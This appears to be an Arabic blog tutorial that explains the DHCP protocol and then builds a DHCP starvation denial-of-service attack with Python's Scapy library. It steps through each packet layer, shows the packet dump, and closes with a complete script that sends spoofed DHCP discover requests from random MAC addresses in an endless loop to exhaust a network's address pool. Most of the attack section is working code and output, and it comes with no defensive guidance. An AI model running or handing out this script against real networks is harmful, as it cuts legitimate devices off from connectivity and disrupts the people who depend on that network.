بسم الله الرحمن الرحيم
برتوكول Dynamic Host Control Protocol أو اختصارا DHCP تتلخص مهمته الأساسية في توفير عناوين الأنترنت (IP Address) بشكل ألي للأجهزة المتصلة بالشبكة , البرتوكول مفيد جدا و مستخدم بشكل كبير في الشبكات المنزلية .
في هذه التدوينة سوف نعرض شرح بسيط لخوازمية البرتوكول و تطبيق عملي لهجوم حجب الخدمة أو DDOS و الذي يعرف بهجوم DHCP starvation بواسطة مكتبة scapy.
قبل ان نبدأ لتثبيت المكتبة في ويندوز و لينكس اتبع الخطوات في هذا التدوينة .
برتوكول DHCP
برتوكول DHCP برتوكول يقع في طبقة التطبيقات في تمثيل OSI الخاص بالشبكاتيستخدم البرتوكول UDP على المنفذ 67 لرسائل الخادم (Server) و المنفذ 68 لرسائل العميل (Client) .تتلخص عملية الاتصال بالخطوات التالية :مصدر الصورة :https://en.wikipedia.org - يقوم العميل بأرسال حزمة انترنت (Internet Packet) تحمل العنوان الخاص بالمرسل هو عنوان الأنترنت 0.0.0.0 و عنوان المستقبل 255.255.255.255 هذا العنوان يعني أنه سوف يتم ارسال هذه الحزمة للجميع , اما عن اطار الأيثرنت الذي يحتوي على هذه الحزمة فالعنوان الفيزيائي للمرسل هو الخاص ببطاقة الشبكة و العنوان المرسل إليه يكون العنوان الخاص ff:ff:ff:ff:ff:ff الذي يعني أن هذا الأطار سيتم بثه إلى جميع الأجهزة في الشبكة , في حالة عدم وجود استجابة لهذه الرسالة سيتم تجديد ارسالها على الشبكة إلى أن يحصل رد .
- عند وصول الطلب إلى الخادم يرد برسالة تعرض عنوان الانترنت المقترح .
- يرد العميل باستخدام رسالة طلب عنوان ( Request ) تحتوي على العنوان الذي تم اختياره و عنوان الخادم , يستطيع العميل استقبال رسائل من اكثر من خادم لكن يجب ان يرد على خادم واحد فقط , لذا يحتوي على معرف الخادم و عنوان الانترنت الخاص به , لأنه في هذه المرحلة لن يكون للعميل عنوان انترنت فسيتم بث هذه الرسالة للكل على نفس العنوان كما في الخطوة الأولى .
- المرحلة الأخيرة يرسل الخادم رسالة تبين وقت صلاحية العنوان قبل أن يحتاج الجهاز لطلب عنوان مرة أخرى و هذا الوقت يعتمد على اعدادات الخادم كما يتم توفير اي معلومات اضافية طلبها العميل في مرحلة الأكتشاف مثل عنوانين خوادم WINE و DNS و NTP و عنوان Gateway .
- يقوم العميل بأرسال حزمة انترنت (Internet Packet) تحمل العنوان الخاص بالمرسل هو عنوان الأنترنت 0.0.0.0 و عنوان المستقبل 255.255.255.255 هذا العنوان يعني أنه سوف يتم ارسال هذه الحزمة للجميع , اما عن اطار الأيثرنت الذي يحتوي على هذه الحزمة فالعنوان الفيزيائي للمرسل هو الخاص ببطاقة الشبكة و العنوان المرسل إليه يكون العنوان الخاص ff:ff:ff:ff:ff:ff الذي يعني أن هذا الأطار سيتم بثه إلى جميع الأجهزة في الشبكة , في حالة عدم وجود استجابة لهذه الرسالة سيتم تجديد ارسالها على الشبكة إلى أن يحصل رد .
مزايا و العيوب في برتوكول DHCP
برتوكول DHCP مفيد جدا و مستخدم بشكل كبير , تخيل فقط كمية الجهد للإعداد كل جهاز في شبكة تتغير فيها الأجهزة بشكل دائم أو تخيل تكليف شخص غير متخصص بوضع هذه الإعدادت احتمال حصول خطأ كبير جدا , لكن هناك عيب كبير في هذا البرتوكول و هو عدم وجود أي الية لتحكم في وصول المستخدم فأي طلب للحصول على عنوان سوف يتم تنفيذه من دون التحقق من صحة و مصداقية الطلب , ماذا لو قام شخص بتوليد طلبات للحصول على جميع العنوانين في الشبكة و حجزها بشكل دائما , لن يجد أي جهاز حقيقي يحاول الأتصال أي عنوان مما يؤدي لعدم قدرته على الاتصال و هذا ما سوف نستخدمه في هذه التدونية , بكل بساطة سوف نستخدم بايثون لتوليد عدد كبير من الطلبات المزيفة .الأدوات
سوف نستخدم في برمجتنا لهذا السكريبت مكتبة Scapy التي تعمل على لغة بايثون لكي تتعرف على طريقة التثبيت قم بالدخول على هذه التدوينة .
هناك ايضا شرح لموجه الأوامر الخاص بالمكتبة Scapy الذي سنتخدمه ايضا لشرح الكيفية التي سيعمل بها البرنامج
خطوة بخطوة
من موجه التفاعلي للمكتبة Scapy بنبدأ في الطبقة الأولى من الأطار (frame) و هو أطار Ethernet :pkt = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")
الأطار بسيط فقط حددنا العنوان المرسل له وهو ff:ff:ff:ff:ff:ff و هو العنوان الخاص بعملية Broadcast في برتوكول Ethernet أما العنوان الخاص بالمرسل فاستخدمنا الدالة RandMAC تولد هذه الدالة عنوان فيزيائي عشوائي , نحتاج هنا لإرسال العديد من الطلبات بعنوان غير حقيقة و هنا هذه الدالة ستقوم بالعمل و الأن إلى الطبقة الثانية .pkt = pkt / IP(src="0.0.0.0",dst="255.255.255.255")
الطبقة الثانية هي برتوكول IP سوف نحدد فقط العنوان المرسل كعنوان المرسل سيكون العنوان الخاص 0.0.0.0 , هذا العنوان يستخدم لدلالة على عدم وجود عنوان ففي هذه المرحلة لا يملك الجهاز عنوان انترنت , اما العنوان الخاص بالمرسل إليه 255.255.255.255 فهو عنوان خاص بعملية الارسال لجميع الأجهزة أو broadcast .pkt = pkt / UDP(sport=68,dport=67)
و الأن إلى انشاء حزمة برتوكول UDP و تحديد المنفذ المحلي برقم 68 و المنفذ الهدف بالرقم 67 , فقط هذا ما نحتاج له .pkt = pkt / BOOTP(op=1,chaddr=RandMAC())
هنا سنضيف طبقة خاصة ببرتوكول BOOTP , هذا البرتوكول اقدم من برتوكول DHCP و يقول بنفس العمل , لكن كان يستخدم لعملية اعطاء الأجهزة عديمة الأقراص عنوان انترنت و تحميل النظام من الشبكة و هو يعمل على نفس المنافذ الذي يستخدمها برتوكول DHCP لذا لا يمكن ان يعملا على نفس الجهاز , المتغير op يحتمل قيمتين فقط 1 و 2 القيمة 1 ترمز لـ BOOTREQUEST اي طلب برتوكول BOOTP و القيمة 2 ترمز لــ
BOOTREPLY اي رد على طلب خاص بهذا البرتوكول , أما المتغير chaddr فهو اختصار لـ Client Hardware Address أي العنوان الفيزيائي للعميل و هنا استخدمنا ايضا الدالة RandMAC لتوليد عنوانين عشوائية .pkt = pkt / DHCP(options=[('message-type','discover'),('end')])
المعلومات التي ترسل المطلوبة و التي يوفرها الخادم كلهما يرسل عن طريق رقم يدل على الأختيار Options , لكن scapy تستخدم قيمة نصية تدل على نوع الأختيار ثم قيمته و يتم وضعها في tuple كمثالنا ('message-type','discover') أما التمثيل في الحزمة فيكون قيمة رقمية ثم طول القيمة بالبايت ثم القيمة , و في نهاية الحزمة يجب وضع end و التي هي عبارة عن القيمة ff أو بالتمثيل العشري 255 .'طبعا scapy يقوم بالاهتمام بالكثير من التفاصيل بدل ترك المستخدم يهتم بكل شيء و لكي تعرض الحزمة التي قمنا بأنشاءها استخدم الدالة show2 كالتالي :###[ Ethernet ]### dst= ff:ff:ff:ff:ff:ff src= 61:bf:93:29:c6:e5 type= IPv4 ###[ IP ]### version= 4 ihl= 5 tos= 0x0 len= 272 id= 1 flags= frag= 0 ttl= 64 proto= udp chksum= 0x79dd src= 0.0.0.0 dst= 255.255.255.255 \options\ ###[ UDP ]### sport= bootpc dport= bootps len= 252 chksum= 0xea44 ###[ BOOTP ]### op= BOOTREQUEST htype= 1 hlen= 6 hops= 0 xid= 0 secs= 0 flags= ciaddr= 0.0.0.0 yiaddr= 0.0.0.0 siaddr= 0.0.0.0 giaddr= 0.0.0.0 chaddr= b'e5:a4:e8:d9:77:e' sname= b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' file= b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' options= 'c\x82Sc' ###[ DHCP options ]### options= [message-type=discover end]
conf.checkIPaddr = False
sendp(pkt,loop=1)
conf.iface
sendp(pkt,iface="eth0",loop=1)
show ip dhcp binding
السكريبت المكتمل
* تم وضع صورة للنص البرمجي بسبب وجود مشكلة في النص حيث أن العلامة \ تظهر في اول السطر بدل أن تكون في أخر كل سطر .
#!/usr/bin/python3 from scapy.all import conf,Ether,IP,RandMAC,UDP,BOOTP,DHCP,sendp conf.checkIPaddr = False dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff",src=RandMAC()) \ /IP(src="0.0.0.0",dst="255.255.255.255") \ /UDP(sport=68,dport=67) \ /BOOTP(op=1,chaddr=RandMAC()) \ /DHCP(options=[('message-type','discover'),('end')]) #غير الواجهة بحسب جهازك sendp(dhcp_discover,iface="eth0",loop=1,verbose=1)
المصادر
لقد أعتمدت في كتابة هذا الموضوع على هذا الفيديو و انصح بمشاهدته و متابعة هذا القناة: